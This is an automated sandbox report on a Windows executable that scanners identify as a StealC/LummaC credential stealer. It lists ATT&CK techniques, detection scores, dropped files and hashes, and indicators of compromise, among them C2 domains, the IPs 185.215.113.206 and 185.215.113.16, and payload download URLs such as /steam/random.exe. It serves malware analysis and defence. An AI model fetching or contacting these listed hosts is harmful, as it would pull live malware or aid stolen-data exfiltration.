Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
pfY4k1qisn.exe	54%	Virustotal		Browse
pfY4k1qisn.exe	61%	ReversingLabs	Win32.Ransomware.StealC
pfY4k1qisn.exe	100%	Avira	TR/Crypt.XPACK.Gen
pfY4k1qisn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cuddlyready.xyz	172.67.150.173	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
sendypaster.xyz	true	unknown
http://185.215.113.206/	false	high
steppriflej.xyz	true	unknown
smash-boiling.cyou	true	unknown
supporse-comment.cyou	true	unknown
hosue-billowy.cyou	true	unknown
cuddlyready.xyz	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
ripe-blade.cyou	true	unknown
greywe-snotty.cyou	true	unknown
https://cuddlyready.xyz/api	true	unknown
pollution-raker.cyou	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://cuddlyready.xyz/apiz	pfY4k1qisn.exe, 00000000.00000003.2369161675.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/chrome_newtab	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apis	pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/U	pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/pi	pfY4k1qisn.exe, 00000000.00000003.2281386728.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258532827.000000000152A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/	pfY4k1qisn.exe, 00000000.00000003.2240771640.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2144810796.0000000001492000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2217024385.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2281086617.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpp	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/ws	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/CB	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/_	pfY4k1qisn.exe, 00000000.00000003.2193926384.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2193563979.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2193717589.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2217024385.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2193270582.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/d	pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16:80/steam/random.exeD	pfY4k1qisn.exe, 00000000.00000003.2369325034.000000000152E000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369139625.0000000001526000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/L	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apiakK	pfY4k1qisn.exe, 00000000.00000003.2369325034.000000000152E000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2219460576.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2281386728.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2240771640.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369139625.0000000001526000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258532827.000000000152A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/~	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/E	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeerj(	pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16:80/steam/random.exe	pfY4k1qisn.exe	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369375572.0000000001492000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369161675.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php0	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206W	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exep(	pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368363018.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369202644.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz:443/api	pfY4k1qisn.exe, 00000000.00000003.2219460576.0000000001510000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apiV	pfY4k1qisn.exe, 00000000.00000003.2280816747.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php/S	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/5;	pfY4k1qisn.exe, 00000000.00000003.2281386728.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258532827.000000000152A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/ap	pfY4k1qisn.exe, 00000000.00000003.2240812135.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.150.173	cuddlyready.xyz	United States	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579737
Start date and time:	2024-12-23 08:22:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pfY4k1qisn.exe renamed because original name is a hash value
Original Sample Name:	857b0a5b813fc9bbe2f0f6c3a88c608d.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, PID 5972 because there are no executed function
Execution Graph export aborted for target pfY4k1qisn.exe, PID 5732 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:23:15	API Interceptor	25x Sleep call for process: pfY4k1qisn.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.150.173	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	063837646WAYBILLMAR24.exe	Get hash	malicious	RedLine	Browse	artemis-rat.comartemis-rat.com:443
	SecuriteInfo.com.Trojan.DownLoaderNET.943.16578.26938.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	DHL- Shipping invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Kazeem Engineering and Technical Services.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	POs#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	PO-065-01-2024E-2.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	New Orders#U034fx#U034fl#U034fx#U034f..exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Payment Invoice.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
185.215.113.206	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cuddlyready.xyz	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
WHOLESALECONNECTIONSNL	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	172.67.150.173

Process:	C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe

Download File

Process:	C:\Users\user\Desktop\pfY4k1qisn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.4743871893569205
Encrypted:	false
SSDEEP:	49152:kSmc33xGO68K1vu9T+TS6fZ0pZxvPFfJi+1hSdY:kRqhG5P1vu9T+m6fZ2xvNj1hSdY
MD5:	59729E914FA8E15D347129643C03AC1F
SHA1:	80ACB4BE6A6534FB8DE67CAAFEE13A03D9E15754
SHA-256:	E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
SHA-512:	B592B27B3DB5B041D1D45B206239FFD4B37C051AEB6EA0E74E57623920E15CB18F12696E596EAEB5788D57629917F9D8324C588EF8A62D6F470173795CA79B36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
